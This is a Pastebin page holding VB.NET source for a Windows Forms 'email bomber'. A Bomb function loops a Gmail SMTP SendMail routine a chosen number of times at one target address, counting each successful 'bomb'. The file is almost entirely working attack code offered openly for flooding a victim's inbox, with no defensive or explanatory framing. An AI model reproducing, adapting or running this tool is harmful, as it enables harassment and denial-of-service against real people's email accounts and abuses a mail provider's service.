Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- Public Class Form1
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- Dim Mail As New MailMessage
- Mail.Subject = TextBox4.Text
- Mail.To.Add(TextBox2.Text)
- Mail.From = New MailAddress(TextBox2.Text)
- Mail.Body = TextBox1.Text
- Dim SMTP As New SmtpClient("smtp.gmail.com")
- SMTP.EnableSsl = True
- SMTP.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
- SMTP.Port = "587"
- SMTP.Send(Mail)
- End Sub
- Public Function Bomb(ByVal EmailToBomb As String, ByVal TimesToBomb As Integer) As Integer
- Dim bombs As Integer = 0 'count of times bombed
- For i = 0 To TimesToBomb - 1 'multiple bombs through a loop
- Dim username As String = "GmailUsername"
- Dim password As String = "UsernamePassword"
- Dim emailFrom As String = "Email_From"
- Dim message As String = "Your bomb message here."
- Dim subject As String = "Your subject here."
- If SendMail(username, password, EmailToBomb, emailFrom, subject, message) Then
- bombs += 1 'message was sent; increment the count of times bombed.
- 'you can update a label here with times bombed.
- My.Application.DoEvents()
- End If
- Next
- Return bombs 'return the number of successful messages sent
- End Function
- Public Function SendMail(ByVal Username As String, ByVal Password As String, ByVal Recipient As String, ByVal EmailFrom As String, ByVal Subject As String, ByVal Message As String) As Boolean
- Try
- Dim Mail1 As New Net.Mail.MailMessage
- Mail1.Subject = Subject
- Mail1.To.Add(Recipient)
- Mail1.From = New Net.Mail.MailAddress(EmailFrom)
- Mail1.Body = Message
- Dim smtp As New Net.Mail.SmtpClient("smtp.gmail.com")
- smtp.EnableSsl = True
- smtp.Credentials = New System.Net.NetworkCredential(Username, Password)
- smtp.Port = 587
- smtp.Send(Mail1)
- Return True 'sent
- Catch
- Return False 'not sent
- End Try
- End Function
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement